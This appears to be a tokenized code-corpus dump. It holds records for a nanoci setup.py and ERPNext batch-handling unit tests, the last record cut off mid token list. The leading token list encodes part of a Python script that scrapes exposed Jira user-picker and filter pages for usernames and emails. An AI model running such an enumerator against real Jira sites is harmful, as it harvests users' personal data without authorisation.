19451,
13,
26705,
4219,
353,
6389,
29889,
4219,
718,
376,
24216,
29914,
2517,
482,
3434,
2153,
29889,
21318,
29874,
29973,
4572,
29922,
7323,
1070,
19451,
13,
29937,
14592,
3377,
4219,
353,
6389,
29889,
4219,
718,
376,
24216,
29914,
29928,
1161,
3377,
29889,
21318,
29874,
19451,
13,
30004,
13,
1753,
6597,
13954,
29898,
5327,
1125,
30004,
13,
1678,
14550,
30004,
13,
1678,
323,
6926,
297,
278,
2933,
3573,
363,
4911,
21537,
13954,
322,
3639,
263,
8600,
6943,
30004,
13,
1678,
502,
824,
1280,
322,
4876,
14157,
22993,
13,
1678,
14550,
30004,
13,
1678,
1404,
1293,
353,
337,
29889,
12198,
29898,
29878,
29908,
29899,
978,
29905,
1013,
28104,
29897,
829,
1594,
29958,
2564,
2886,
497,
29898,
5327,
29889,
726,
8443,
13,
1678,
4876,
1293,
353,
337,
29889,
12198,
29898,
29878,
1013,
28104,
29905,
29992,
5575,
29897,
829,
1594,
29958,
2564,
2886,
497,
29898,
5327,
29889,
726,
8443,
13,
1678,
8600,
353,
9657,
29898,
7554,
29898,
1792,
1293,
1919,
4876,
1293,
876,
30004,
13,
1678,
736,
8600,
30004,
13,
30004,
13,
1753,
6597,
3434,
2153,
29898,
5327,
1125,
30004,
13,
1678,
14550,
30004,
13,
1678,
323,
6926,
297,
278,
2933,
3573,
363,
278,
10933,
18094,
1813,
322,
3639,
263,
1051,
6943,
502,
824,
1280,
22993,
13,
1678,
14550,
30004,
13,
1678,
1404,
1293,
353,
337,
29889,
12198,
29898,
29878,
29908,
829,
9653,
29958,
7790,
3552,
5575,
27779,
2564,
2886,
497,
29898,
5327,
29889,
726,
8443,
13,
1678,
736,
1051,
29898,
842,
29898,
1792,
1293,
876,
30004,
13,
30004,
13,
1753,
12725,
4219,
29898,
2271,
1125,
30004,
13,
1678,
14550,
30004,
13,
4706,
390,
6948,
263,
4840,
310,
8845,
373,
263,
2183,
3988,
322,
3639,
278,
2933,
322,
263,
7223,
995,
22993,
13,
1678,
14550,
30004,
13,
30004,
13,
1678,
1018,
29901,
30004,
13,
4706,
269,
353,
7274,
29889,
7317,
26471,
13,
4706,
2854,
1008,
267,
1713,
353,
269,
29889,
657,
29898,
2271,
1919,
2758,
29918,
17886,
29879,
29922,
8824,
29892,
15619,
29922,
29945,
8443,
13,
1678,
5174,
7274,
29889,
11739,
29879,
29889,
13919,
12763,
29901,
30004,
13,
4706,
1596,
5124,
30004,
13,
4706,
1596,
376,
14352,
29962,
21403,
10938,
4944,
856,
19928,
1101,
3402,
2045,
597,
2397,
336,
29889,
6388,
2133,
29889,
510,
12975,
30004,
13,
4706,
1596,
5124,
30004,
13,
4706,
10876,
29889,
13322,
29898,
29896,
8443,
13,
1678,
5174,
7274,
29889,
11739,
29879,
29889,
18552,
292,
12763,
29901,
30004,
13,
4706,
1596,
5124,
30004,
13,
4706,
1596,
376,
14352,
29962,
319,
6969,
10938,
471,
451,
4944,
29889,
3529,
671,
1732,
597,
470,
2045,
597,
19451,
13,
4706,
1596,
5124,
30004,
13,
4706,
10876,
29889,
13322,
29898,
29896,
8443,
13,
1678,
5174,
7274,
29889,
11739,
29879,
29889,
13919,
4219,
29901,
30004,
13,
4706,
1596,
376,
14352,
29962,
21403,
2967,
3988,
471,
19056,
856,
3529,
1018,
1449,
1213,
30004,
13,
4706,
10876,
29889,
13322,
29898,
29896,
8443,
13,
1678,
5174,
7274,
29889,
11739,
29879,
29889,
5350,
2392,
29901,
30004,
13,
4706,
1596,
5124,
30004,
13,
4706,
1596,
376,
14352,
29962,
15160,
5229,
856,
3529,
1423,
278,
3988,
322,
1018,
1449,
1213,
30004,
13,
4706,
1596,
5124,
30004,
13,
4706,
10876,
29889,
13322,
29898,
29896,
8443,
13,
1678,
5174,
7274,
29889,
11739,
29879,
29889,
3089,
2451,
29901,
30004,
13,
4706,
1596,
5124,
30004,
13,
4706,
1596,
376,
14352,
29962,
530,
9815,
3682,
10761,
856,
3529,
1018,
1449,
1213,
30004,
13,
4706,
1596,
5124,
30004,
13,
4706,
10876,
29889,
13322,
29898,
29896,
8443,
13,
1678,
565,
2854,
1008,
267,
1713,
29889,
4882,
29918,
401,
1275,
29871,
29906,
29900,
29900,
29901,
30004,
13,
4706,
736,
2854,
1008,
267,
1713,
29892,
5574,
30004,
13,
1678,
1683,
29901,
30004,
13,
4706,
736,
376,
14352,
29962,
450,
1813,
338,
297,
5943,
1821,
613,
8824,
30004,
13,
30004,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
30004,
13,
1678,
5839,
261,
5103,
29892,
13908,
6638,
1821,
353,
12725,
4219,
29898,
13908,
4219,
8443,
13,
1678,
4175,
5103,
29892,
4572,
6638,
1821,
353,
12725,
4219,
29898,
26705,
4219,
8443,
13,
30004,
13,
1678,
1596,
5124,
30004,
13,
1678,
1596,
5124,
30004,
13,
1678,
1596,
14704,
29974,
29962,
5399,
292,
278,
4911,
349,
6541,
1813,
17794,
30004,
13,
30004,
13,
1678,
565,
5839,
261,
6638,
1821,
1275,
5852,
29901,
30004,
13,
4706,
4160,
353,
6597,
13954,
29898,
13908,
5103,
8443,
13,
4706,
1596,
5124,
30004,
13,
4706,
1596,
14704,
29974,
29962,
21397,
17794,
30004,
13,
4706,
1596,
14704,
29974,
29962,
23861,
29901,
15691,
710,
29898,
2435,
29898,
7193,
876,
30004,
13,
4706,
1596,
14704,
29974,
29962,
22608,
29879,
29901,
376,
718,
851,
29898,
2435,
29898,
7193,
876,
30004,
13,
4706,
1596,
5124,
30004,
13,
4706,
565,
313,
5085,
29889,
331,
2234,
322,
6389,
29889,
7039,
29897,
470,
6389,
29889,
497,
29901,
30004,
13,
9651,
1596,
22372,
29901,
29966,
29906,
29900,
1157,
29901,
29966,
29906,
29900,
29913,
4286,
4830,
703,
5634,
20249,
5634,
613,
376,
1378,
29899,
9823,
1378,
29899,
1159,
30004,
13,
9651,
363,
8952,
29892,
4876,
297,
12705,
29898,
7193,
29889,
1524,
7076,
580,
1125,
30004,
13,
18884,
1596,
22372,
29901,
29966,
29906,
29900,
1157,
29901,
29966,
29906,
29900,
29913,
4286,
4830,
29898,
6786,
29892,
5269,
8443,
13,
4706,
25342,
6389,
29889,
331,
2234,
29901,
30004,
13,
9651,
363,
8952,
29892,
5269,
297,
12705,
29898,
7193,
29889,
1524,
7076,
580,
1125,
30004,
13,
18884,
1596,
4876,
30004,
13,
4706,
25342,
6389,
29889,
7039,
29901,
30004,
13,
9651,
363,
8952,
29892,
5269,
297,
12705,
29898,
7193,
29889,
1524,
7076,
580,
1125,
30004,
13,
18884,
1596,
8952,
30004,
13,
4706,
1596,
5124,
30004,
13,
1678,
25342,
5839,
261,
6638,
1821,
1275,
7700,
29901,
30004,
13,
4706,
1596,
5839,
261,
5103,
30004,
13,
30004,
13,
1678,
1596,
5124,
30004,
13,
1678,
1596,
5124,
30004,
13,
1678,
1596,
14704,
29974,
29962,
5399,
292,
278,
2315,
482,
2514,
2153,
1813,
17794,
30004,
13,
30004,
13,
1678,
565,
4175,
6638,
1821,
1275,
5852,
29901,
30004,
13,
4706,
4175,
5959,
353,
6597,
3434,
2153,
29898,
4572,
5103,
8443,
13,
4706,
565,
6389,
29889,
7039,
470,
6389,
29889,
497,
29901,
30004,
13,
9651,
565,
7431,
29898,
4572,
5959,
29897,
1275,
29871,
29900,
29901,
30004,
13,
18884,
1596,
376,
14352,
29962,
1334,
1033,
451,
1284,
738,
385,
4735,
5794,
15579,
18094,
19451,
13,
18884,
1596,
5124,
30004,
13,
9651,
1683,
29901,
30004,
13,
18884,
1596,
14704,
29974,
29962,
450,
2315,
482,
2514,
2153,
1813,
338,
15579,
322,
3743,
848,
17794,
30004,
13,
18884,
1596,
5124,
30004,
13,
18884,
363,
8952,
297,
4175,
5959,
29901,
30004,
13,
462,
1678,
1596,
8952,
30004,
13,
18884,
1596,
5124,
30004,
13,
1678,
25342,
4175,
6638,
1821,
1275,
7700,
29901,
30004,
13,
4706,
1596,
4175,
5103,
2
] |
setup.py | agateau/nanoci | 0 | 110905 | #!/usr/bin/env python3
# encoding: utf-8
"""
Nanoci, a minimalist continuous integration server
:copyright: 2015 <NAME>.
:license: BSD.
"""
import os
from setuptools import setup
import nanoci
DESCRIPTION = 'Minimalist continuous integration server'
setup(name=nanoci.__appname__,
version=nanoci.__version__,
description=DESCRIPTION,
author='<NAME>',
author_email='<EMAIL>',
license=nanoci.__license__,
platforms=['any'],
url='http://github.com/agateau/nanoci',
install_requires=[
'flask',
'pyyaml',
'requests',
'pytest',
],
packages=['nanoci'],
entry_points={
'console_scripts': [
'nanoci-server = nanoci.nanoci_server:main',
'nanoci-build = nanoci.nanoci_build:main',
'nanoci-log = nanoci.nanoci_log:main',
],
}
)
| [
1,
18787,
4855,
29914,
2109,
29914,
6272,
3017,
29941,
13,
29937,
8025,
29901,
23616,
29899,
29947,
13,
15945,
29908,
13,
29940,
1562,
455,
29892,
263,
13114,
391,
9126,
13465,
1923,
13,
13,
29901,
8552,
1266,
29901,
29871,
29906,
29900,
29896,
29945,
529,
5813,
15513,
13,
29901,
506,
1947,
29901,
350,
7230,
29889,
13,
15945,
29908,
13,
5215,
2897,
13,
13,
3166,
731,
21245,
8789,
1053,
6230,
13,
13,
5215,
302,
1562,
455,
13,
13,
2287,
7187,
24290,
2725,
353,
525,
8140,
3039,
391,
9126,
13465,
1923,
29915,
13,
13,
13,
14669,
29898,
978,
29922,
29876,
1562,
455,
17255,
932,
978,
1649,
29892,
13,
1678,
1873,
29922,
29876,
1562,
455,
17255,
3259,
1649,
29892,
13,
1678,
6139,
29922,
2287,
7187,
24290,
2725,
29892,
13,
1678,
4148,
2433,
29966,
5813,
29958,
742,
13,
1678,
4148,
29918,
5269,
2433,
29966,
26862,
6227,
29958,
742,
13,
1678,
19405,
29922,
29876,
1562,
455,
17255,
506,
1947,
1649,
29892,
13,
1678,
21796,
29922,
1839,
1384,
7464,
13,
1678,
3142,
2433,
1124,
597,
3292,
29889,
510,
29914,
351,
403,
585,
29914,
29876,
1562,
455,
742,
13,
1678,
2601,
29918,
276,
339,
2658,
11759,
13,
4706,
525,
1579,
1278,
742,
13,
4706,
525,
2272,
25162,
742,
13,
4706,
525,
24830,
742,
13,
4706,
525,
2272,
1688,
742,
13,
1678,
21251,
13,
1678,
9741,
29922,
1839,
29876,
1562,
455,
7464,
13,
1678,
6251,
29918,
9748,
3790,
13,
4706,
525,
11058,
29918,
16713,
2396,
518,
13,
9651,
525,
29876,
1562,
455,
29899,
2974,
353,
302,
1562,
455,
29889,
29876,
1562,
455,
29918,
2974,
29901,
3396,
742,
13,
9651,
525,
29876,
1562,
455,
29899,
4282,
353,
302,
1562,
455,
29889,
29876,
1562,
455,
29918,
4282,
29901,
3396,
742,
13,
9651,
525,
29876,
1562,
455,
29899,
1188,
353,
302,
1562,
455,
29889,
29876,
1562,
455,
29918,
1188,
29901,
3396,
742,
13,
4706,
21251,
13,
1678,
500,
13,
29897,
13,
2
] |
mindhome_alpha/erpnext/stock/doctype/batch/test_batch.py | Mindhome/field_service | 1 | 28340 | <reponame>Mindhome/field_service
# Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors
# License: GNU General Public License v3. See license.txt
from __future__ import unicode_literals
import frappe
from frappe.exceptions import ValidationError
import unittest
from erpnext.stock.doctype.batch.batch import get_batch_qty, UnableToSelectBatchError, get_batch_no
from frappe.utils import cint, flt
from erpnext.accounts.doctype.purchase_invoice.test_purchase_invoice import make_purchase_invoice
from erpnext.stock.get_item_details import get_item_details
class TestBatch(unittest.TestCase):
def test_item_has_batch_enabled(self):
self.assertRaises(ValidationError, frappe.get_doc({
"doctype": "Batch",
"name": "_test Batch",
"item": "_Test Item"
}).save)
@classmethod
def make_batch_item(cls, item_name):
from erpnext.stock.doctype.item.test_item import make_item
if not frappe.db.exists(item_name):
return make_item(item_name, dict(has_batch_no = 1, create_new_batch = 1, is_stock_item=1))
def test_purchase_receipt(self, batch_qty = 100):
'''Test automated batch creation from Purchase Receipt'''
self.make_batch_item('ITEM-BATCH-1')
receipt = frappe.get_doc(dict(
doctype='Purchase Receipt',
supplier='_Test Supplier',
company='_Test Company',
items=[
dict(
item_code='ITEM-BATCH-1',
qty=batch_qty,
rate=10,
warehouse= 'Stores - _TC'
)
]
)).insert()
receipt.submit()
self.assertTrue(receipt.items[0].batch_no)
self.assertEqual(get_batch_qty(receipt.items[0].batch_no,
receipt.items[0].warehouse), batch_qty)
return receipt
def test_stock_entry_incoming(self):
'''Test batch creation via Stock Entry (Work Order)'''
self.make_batch_item('ITEM-BATCH-1')
stock_entry = frappe.get_doc(dict(
doctype = 'Stock Entry',
purpose = 'Material Receipt',
company = '_Test Company',
items = [
dict(
item_code = 'ITEM-BATCH-1',
qty = 90,
t_warehouse = '_Test Warehouse - _TC',
cost_center = 'Main - _TC',
rate = 10
)
]
))
stock_entry.set_stock_entry_type()
stock_entry.insert()
stock_entry.submit()
self.assertTrue(stock_entry.items[0].batch_no)
self.assertEqual(get_batch_qty(stock_entry.items[0].batch_no, stock_entry.items[0].t_warehouse), 90)
def test_delivery_note(self):
'''Test automatic batch selection for outgoing items'''
batch_qty = 15
receipt = self.test_purchase_receipt(batch_qty)
item_code = 'ITEM-BATCH-1'
delivery_note = frappe.get_doc(dict(
doctype='Delivery Note',
customer='_Test Customer',
company=receipt.company,
items=[
dict(
item_code=item_code,
qty=batch_qty,
rate=10,
warehouse=receipt.items[0].warehouse
)
]
)).insert()
delivery_note.submit()
# shipped from FEFO batch
self.assertEqual(
delivery_note.items[0].batch_no,
get_batch_no(item_code, receipt.items[0].warehouse, batch_qty)
)
def test_delivery_note_fail(self):
'''Test automatic batch selection for outgoing items'''
receipt = self.test_purchase_receipt(100)
delivery_note = frappe.get_doc(dict(
doctype = 'Delivery Note',
customer = '_Test Customer',
company = receipt.company,
items = [
dict(
item_code = 'ITEM-BATCH-1',
qty = 5000,
rate = 10,
warehouse = receipt.items[0].warehouse
)
]
))
self.assertRaises(UnableToSelectBatchError, delivery_note.insert)
def test_stock_entry_outgoing(self):
'''Test automatic batch selection for outgoing stock entry'''
batch_qty = 16
receipt = self.test_purchase_receipt(batch_qty)
item_code = 'ITEM-BATCH-1'
stock_entry = frappe.get_doc(dict(
doctype='Stock Entry',
purpose='Material Issue',
company=receipt.company,
items=[
dict(
item_code=item_code,
qty=batch_qty,
s_warehouse=receipt.items[0].warehouse,
)
]
))
stock_entry.set_stock_entry_type()
stock_entry.insert()
stock_entry.submit()
# assert same batch is selected
self.assertEqual(
stock_entry.items[0].batch_no,
get_batch_no(item_code, receipt.items[0].warehouse, batch_qty)
)
def test_batch_split(self):
'''Test batch splitting'''
receipt = self.test_purchase_receipt()
from erpnext.stock.doctype.batch.batch import split_batch
new_batch = split_batch(receipt.items[0].batch_no, 'ITEM-BATCH-1', receipt.items[0].warehouse, 22)
self.assertEqual(get_batch_qty(receipt.items[0].batch_no, receipt.items[0].warehouse), 78)
self.assertEqual(get_batch_qty(new_batch, receipt.items[0].warehouse), 22)
def test_get_batch_qty(self):
'''Test getting batch quantities by batch_numbers, item_code or warehouse'''
self.make_batch_item('ITEM-BATCH-2')
self.make_new_batch_and_entry('ITEM-BATCH-2', 'batch a', '_Test Warehouse - _TC')
self.make_new_batch_and_entry('ITEM-BATCH-2', 'batch b', '_Test Warehouse - _TC')
self.assertEqual(get_batch_qty(item_code = 'ITEM-BATCH-2', warehouse = '_Test Warehouse - _TC'),
[{'batch_no': u'batch a', 'qty': 90.0}, {'batch_no': u'batch b', 'qty': 90.0}])
self.assertEqual(get_batch_qty('batch a', '_Test Warehouse - _TC'), 90)
def test_total_batch_qty(self):
self.make_batch_item('ITEM-BATCH-3')
existing_batch_qty = flt(frappe.db.get_value("Batch", "B100", "batch_qty"))
stock_entry = self.make_new_batch_and_entry('ITEM-BATCH-3', 'B100', '_Test Warehouse - _TC')
current_batch_qty = flt(frappe.db.get_value("Batch", "B100", "batch_qty"))
self.assertEqual(current_batch_qty, existing_batch_qty + 90)
stock_entry.cancel()
current_batch_qty = flt(frappe.db.get_value("Batch", "B100", "batch_qty"))
self.assertEqual(current_batch_qty, existing_batch_qty)
@classmethod
def make_new_batch_and_entry(cls, item_name, batch_name, warehouse):
'''Make a new stock entry for given target warehouse and batch name of item'''
if not frappe.db.exists("Batch", batch_name):
batch = frappe.get_doc(dict(
doctype = 'Batch',
item = item_name,
batch_id = batch_name
)).insert(ignore_permissions=True)
batch.save()
stock_entry = frappe.get_doc(dict(
doctype = 'Stock Entry',
purpose = 'Material Receipt',
company = '_Test Company',
items = [
dict(
item_code = item_name,
qty = 90,
t_warehouse = warehouse,
cost_center = 'Main - _TC',
rate = 10,
batch_no = batch_name,
allow_zero_valuation_rate = 1
)
]
))
stock_entry.set_stock_entry_type()
stock_entry.insert()
stock_entry.submit()
return stock_entry
def test_batch_name_with_naming_series(self):
stock_settings = frappe.get_single('Stock Settings')
use_naming_series = cint(stock_settings.use_naming_series)
if not use_naming_series:
frappe.set_value('Stock Settings', 'Stock Settings', 'use_naming_series', 1)
batch = self.make_new_batch('_Test Stock Item For Batch Test1')
batch_name = batch.name
self.assertTrue(batch_name.startswith('BATCH-'))
batch.delete()
batch = self.make_new_batch('_Test Stock Item For Batch Test2')
self.assertEqual(batch_name, batch.name)
# reset Stock Settings
if not use_naming_series:
frappe.set_value('Stock Settings', 'Stock Settings', 'use_naming_series', 0)
def make_new_batch(self, item_name, batch_id=None, do_not_insert=0):
batch = frappe.new_doc('Batch')
item = self.make_batch_item(item_name)
batch.item = item.name
if batch_id:
batch.batch_id = batch_id
if not do_not_insert:
batch.insert()
return batch
def test_batch_wise_item_price(self):
if not frappe.db.get_value('Item', '_Test Batch Price Item'):
frappe.get_doc({
'doctype': 'Item',
'is_stock_item': 1,
'item_code': '_Test Batch Price Item',
'item_group': 'Products',
'has_batch_no': 1,
'create_new_batch': 1
}).insert(ignore_permissions=True)
batch1 = create_batch('_Test Batch Price Item', 200, 1)
batch2 = create_batch('_Test Batch Price Item', 300, 1)
batch3 = create_batch('_Test Batch Price Item', 400, 0)
args = frappe._dict({
"item_code": "_Test Batch Price Item",
"company": "_Test Company with perpetual inventory",
"price_list": "_Test Price List",
"currency": "_Test Currency",
"doctype": "Sales Invoice",
"conversion_rate": 1,
"price_list_currency": "_Test Currency",
"plc_conversion_rate": 1,
"customer": "_Test Customer",
"name": None
})
#test price for batch1
args.update({'batch_no': batch1})
details = get_item_details(args)
self.assertEqual(details.get('price_list_rate'), 200)
#test price for batch2
args.update({'batch_no': batch2})
details = get_item_details(args)
self.assertEqual(details.get('price_list_rate'), 300)
#test price for batch3
args.update({'batch_no': batch3})
details = get_item_details(args)
self.assertEqual(details.get('price_list_rate'), 400)
def create_batch(item_code, rate, create_item_price_for_batch):
pi = make_purchase_invoice(company="_Test Company",
warehouse= "Stores - _TC", cost_center = "Main - _TC", update_stock=1,
expense_account ="_Test Account Cost for Goods Sold - _TC", item_code=item_code)
batch = frappe.db.get_value('Batch', {'item': item_code, 'reference_name': pi.name})
if not create_item_price_for_batch:
create_price_list_for_batch(item_code, None, rate)
else:
create_price_list_for_batch(item_code, batch, rate)
return batch
def create_price_list_for_batch(item_code, batch, rate):
frappe.get_doc({
'doctype': 'Item Price',
'item_code': '_Test Batch Price Item',
'price_list': '_Test Price List',
'batch_no': batch,
'price_list_rate': rate
}).insert()
def make_new_batch(**args):
args = frappe._dict(args)
try:
batch = frappe.get_doc({
"doctype": "Batch",
"batch_id": args.batch_id,
"item": args.item_code,
}).insert()
except frappe.DuplicateEntryError:
batch = frappe.get_doc("Batch", args.batch_id)
return batch | [
1,
529,
276,
1112,
420,
29958,
29924,
513,
5184,
29914,
2671,
29918,
5509,
13,
29937,
14187,
1266,
313,
29883,
29897,
29871,
29906,
29900,
29896,
29945,
29892,
7347,
4798,
8364,
11763,
349,
21908,
29889,
19806,
29889,
322,
2866,
1091,
29560,
13,
29937,
19245,
29901,
15143,
4593,
5236,
19245,
325,
29941,
29889,
2823,
19405,
29889,
3945,
13,
3166,
4770,
29888,
9130,
1649,
1053,
29104,
29918,
20889,
1338,
13,
13,
5215,
5227,
4798,
13,
3166,
5227,
4798,
29889,
11739,
29879,
1053,
15758,
362,
2392,
13,
5215,
443,
27958,
13,
13,
3166,
604,
29886,
4622,
29889,
17712,
29889,
1867,
312,
668,
29889,
16175,
29889,
16175,
1053,
679,
29918,
16175,
29918,
29939,
1017,
29892,
20065,
1762,
3549,
23145,
2392,
29892,
679,
29918,
16175,
29918,
1217,
13,
3166,
5227,
4798,
29889,
13239,
1053,
274,
524,
29892,
1652,
29873,
13,
3166,
604,
29886,
4622,
29889,
10149,
29879,
29889,
1867,
312,
668,
29889,
29886,
27574,
29918,
262,
14917,
29889,
1688,
29918,
29886,
27574,
29918,
262,
14917,
1053,
1207,
29918,
29886,
27574,
29918,
262,
14917,
13,
3166,
604,
29886,
4622,
29889,
17712,
29889,
657,
29918,
667,
29918,
14144,
1053,
679,
29918,
667,
29918,
14144,
13,
13,
1990,
4321,
23145,
29898,
348,
27958,
29889,
3057,
8259,
1125,
13,
12,
1753,
1243,
29918,
667,
29918,
5349,
29918,
16175,
29918,
17590,
29898,
1311,
1125,
13,
12,
12,
1311,
29889,
9294,
29934,
1759,
267,
29898,
19448,
2392,
29892,
5227,
4798,
29889,
657,
29918,
1514,
3319,
13,
12,
12,
12,
29908,
1867,
312,
668,
1115,
376,
23145,
613,
13,
12,
12,
12,
29908,
978,
1115,
11119,
1688,
350,
905,
613,
13,
12,
12,
12,
29908,
667,
1115,
11119,
3057,
10976,
29908,
13,
12,
12,
7690,
7620,
29897,
13,
13,
12,
29992,
1990,
5696,
13,
12,
1753,
1207,
29918,
16175,
29918,
667,
29898,
25932,
29892,
2944,
29918,
978,
1125,
13,
12,
12,
3166,
604,
29886,
4622,
29889,
17712,
29889,
1867,
312,
668,
29889,
667,
29889,
1688,
29918,
667,
1053,
1207,
29918,
667,
13,
12,
12,
361,
451,
5227,
4798,
29889,
2585,
29889,
9933,
29898,
667,
29918,
978,
1125,
13,
12,
12,
12,
2457,
1207,
29918,
667,
29898,
667,
29918,
978,
29892,
9657,
29898,
5349,
29918,
16175,
29918,
1217,
353,
29871,
29896,
29892,
1653,
29918,
1482,
29918,
16175,
353,
29871,
29896,
29892,
338,
29918,
17712,
29918,
667,
29922,
29896,
876,
13,
13,
12,
1753,
1243,
29918,
29886,
27574,
29918,
13556,
21278,
29898,
1311,
29892,
9853,
29918,
29939,
1017,
353,
29871,
29896,
29900,
29900,
1125,
13,
12,
12,
12008,
3057,
3345,
630,
9853,
11265,
515,
349,
27574,
24328,
21278,
12008,
13,
12,
12,
1311,
29889,
5675,
29918,
16175,
29918,
667,
877,
9094,
29924,
29899,
29933,
14789,
29899,
29896,
1495,
13,
13,
12,
12,
13556,
21278,
353,
5227,
4798,
29889,
657,
29918,
1514,
29898,
8977,
29898,
13,
12,
12,
12,
1867,
312,
668,
2433,
29925,
27574,
24328,
21278,
742,
13,
12,
12,
12,
19303,
4926,
2433,
29918,
3057,
9179,
4926,
742,
13,
12,
12,
12,
14518,
2433,
29918,
3057,
6938,
742,
13,
12,
12,
12,
7076,
11759,
13,
12,
12,
12,
12,
8977,
29898,
13,
12,
12,
12,
12,
12,
667,
29918,
401,
2433,
9094,
29924,
29899,
29933,
14789,
29899,
29896,
742,
13,
12,
12,
12,
12,
12,
29939,
1017,
29922,
16175,
29918,
29939,
1017,
29892,
13,
12,
12,
12,
12,
12,
10492,
29922,
29896,
29900,
29892,
13,
12,
12,
12,
12,
12,
2519,
8697,
29922,
525,
855,
2361,
448,
903,
9472,
29915,
13,
12,
12,
12,
12,
29897,
13,
12,
12,
12,
29962,
13,
12,
12,
8106,
7851,
580,
13,
12,
12,
13556,
21278,
29889,
7892,
580,
13,
13,
12,
12,
1311,
29889,
9294,
5574,
29898,
13556,
21278,
29889,
7076,
29961,
29900,
1822,
16175,
29918,
1217,
29897,
13,
12,
12,
1311,
29889,
9294,
9843,
29898,
657,
29918,
16175,
29918,
29939,
1017,
29898,
13556,
21278,
29889,
7076,
29961,
29900,
1822,
16175,
29918,
1217,
29892,
13,
12,
12,
12,
13556,
21278,
29889,
7076,
29961,
29900,
1822,
2519,
8697,
511,
9853,
29918,
29939,
1017,
29897,
13,
13,
12,
12,
2457,
2414,
21278,
13,
13,
12,
1753,
1243,
29918,
17712,
29918,
8269,
29918,
262,
11506,
29898,
1311,
1125,
13,
12,
12,
12008,
3057,
9853,
11265,
3025,
10224,
28236,
313,
5531,
8170,
29897,
12008,
13,
13,
12,
12,
1311,
29889,
5675,
29918,
16175,
29918,
667,
877,
9094,
29924,
29899,
29933,
14789,
29899,
29896,
1495,
13,
13,
12,
12,
17712,
29918,
8269,
353,
5227,
4798,
29889,
657,
29918,
1514,
29898,
8977,
29898,
13,
12,
12,
12,
1867,
312,
668,
353,
525,
20754,
384,
28236,
742,
13,
12,
12,
12,
15503,
4220,
353,
525,
24095,
24328,
21278,
742,
13,
12,
12,
12,
14518,
353,
22868,
3057,
6938,
742,
13,
12,
12,
12,
7076,
353,
518,
13,
12,
12,
12,
12,
8977,
29898,
13,
12,
12,
12,
12,
12,
667,
29918,
401,
353,
525,
9094,
29924,
29899,
29933,
14789,
29899,
29896,
742,
13,
12,
12,
12,
12,
12,
29939,
1017,
353,
29871,
29929,
29900,
29892,
13,
12,
12,
12,
12,
12,
29873,
29918,
2519,
8697,
353,
22868,
3057,
399,
598,
8697,
448,
903,
9472,
742,
13,
12,
12,
12,
12,
12,
18253,
29918,
5064,
353,
525,
6330,
448,
903,
9472,
742,
13,
12,
12,
12,
12,
12,
10492,
353,
29871,
29896,
29900,
13,
12,
12,
12,
12,
29897,
13,
12,
12,
12,
29962,
13,
12,
12,
876,
13,
13,
12,
12,
17712,
29918,
8269,
29889,
842,
29918,
17712,
29918,
8269,
29918,
1853,
580,
13,
12,
12,
17712,
29918,
8269,
29889,
7851,
580,
13,
12,
12,
17712,
29918,
8269,
29889,
7892,
580,
13,
13,
12,
12,
1311,
29889,
9294,
5574,
29898,
17712,
29918,
8269,
29889,
7076,
29961,
29900,
1822,
16175,
29918,
1217,
29897,
13,
12,
12,
1311,
29889,
9294,
9843,
29898,
657,
29918,
16175,
29918,
29939,
1017,
29898,
17712,
29918,
8269,
29889,
7076,
29961,
29900,
1822,
16175,
29918,
1217,
29892,
10961,
29918,
8269,
29889,
7076,
29961,
29900,
1822,
29873,
29918,
2519,
8697,
511,
29871,
29929,
29900,
29897,
13,
13,
12,
1753,
1243,
29918,
29881,
27657,
29918,
6812,
29898,
1311,
1125,
13,
12,
12,
12008,
3057,
18428,
9853,
9262,
363,
714,
17696,
4452,
12008,
13,
12,
12,
16175,
29918,
29939,
1017,
353,
29871,
29896,
29945,
13,
12,
12,
13556,
21278,
353,
1583,
29889,
1688,
29918,
29886,
27574,
29918,
13556,
21278,
29898,
16175,
29918,
29939,
1017,
29897,
13,
12,
12,
667,
29918,
401,
353,
525,
9094,
29924,
29899,
29933,
14789,
29899,
29896,
29915,
13,
13,
12,
12,
29881,
27657,
29918,
6812,
353,
5227,
4798,
29889,
657,
29918,
1514,
29898,
8977,
29898,
13,
12,
12,
12,
1867,
312,
668,
2433,
29928,
27657,
3940,
742,
13,
12,
12,
12,
15539,
2433,
29918,
3057,
21886,
742,
13,
12,
12,
12,
14518,
29922,
13556,
21278,
29889,
14518,
29892,
13,
12,
12,
12,
7076,
11759,
13,
12,
12,
12,
12,
8977,
29898,
13,
12,
12,
12,
12,
12,
667,
29918,
401,
29922,
667,
29918,
401,
29892,
13,
12,
12,
12,
12,
12,
29939,
1017,
29922,
16175,
29918,
29939,
1017,
29892,
13,
12,
12,
12,
12,
12,
10492,
29922,
29896,
29900,
29892,
13,
12,
12,
12,
12,
12,
2519,
8697,
29922,
13556,
21278,
29889,
7076,
29961,
29900,
1822,
2519,
8697,
13,
12,
12,
12,
12,
29897,
13,
12,
12,
12,
29962,
13,
12,
12,
8106,
7851,
580,
13,
12,
12,
29881,
27657,
29918,
6812,
29889,
7892,
580,
13,
13,
12,
12,
29937,
528,
16242,
515,
383,
29923,
5800,
9853,
13,
12,
12,
1311,
29889,
9294,
9843,
29898,
13,
12,
12,
12,
29881,
27657,
29918,
6812,
29889,
7076,
29961,
29900,
1822,
16175,
29918,
1217,
29892,
13,
12,
12,
12,
657,
29918,
16175,
29918,
1217,
29898,
667,
29918,
401,
29892,
2414,
21278,
29889,
7076,
29961,
29900,
1822,
2519,
8697,
29892,
9853,
29918,
29939,
1017,
29897,
13,
12,
12,
29897,
13,
13,
12,
1753,
1243,
29918,
29881,
27657,
29918,
6812,
29918,
14057,
29898,
1311,
1125,
13,
12,
12,
12008,
3057,
18428,
9853,
9262,
363,
714,
17696,
4452,
12008,
13,
12,
12,
13556,
21278,
353,
1583,
29889,
1688,
29918,
29886,
27574,
29918,
13556,
21278,
29898,
29896,
29900,
29900,
29897,
13,
12,
12,
29881,
27657,
29918,
6812,
353,
5227,
4798,
29889,
657,
29918,
1514,
29898,
8977,
29898,
13,
12,
12,
12,
1867,
312,
668,
353,
525,
29928,
27657,
3940,
742,
13,
12,
12,
12,
15539,
353,
22868,
3057,
21886,
742,
13,
12,
12,
12,
14518,
353,
2414,
21278,
29889,
14518,
29892,
13,
12,
12,
12,
7076,
353,
518,
13,
12,
12,
12,
12,
8977,
29898,
13,
12,
12,
12,
12,
12,
667,
29918,
401,
353,
525,
9094,
29924,
29899,
29933,
14789,
29899,
29896,
742,
13,
12,
12,
12,
12,
12,
29939,
1017,
353,
29871,
29945,
29900,
29900,
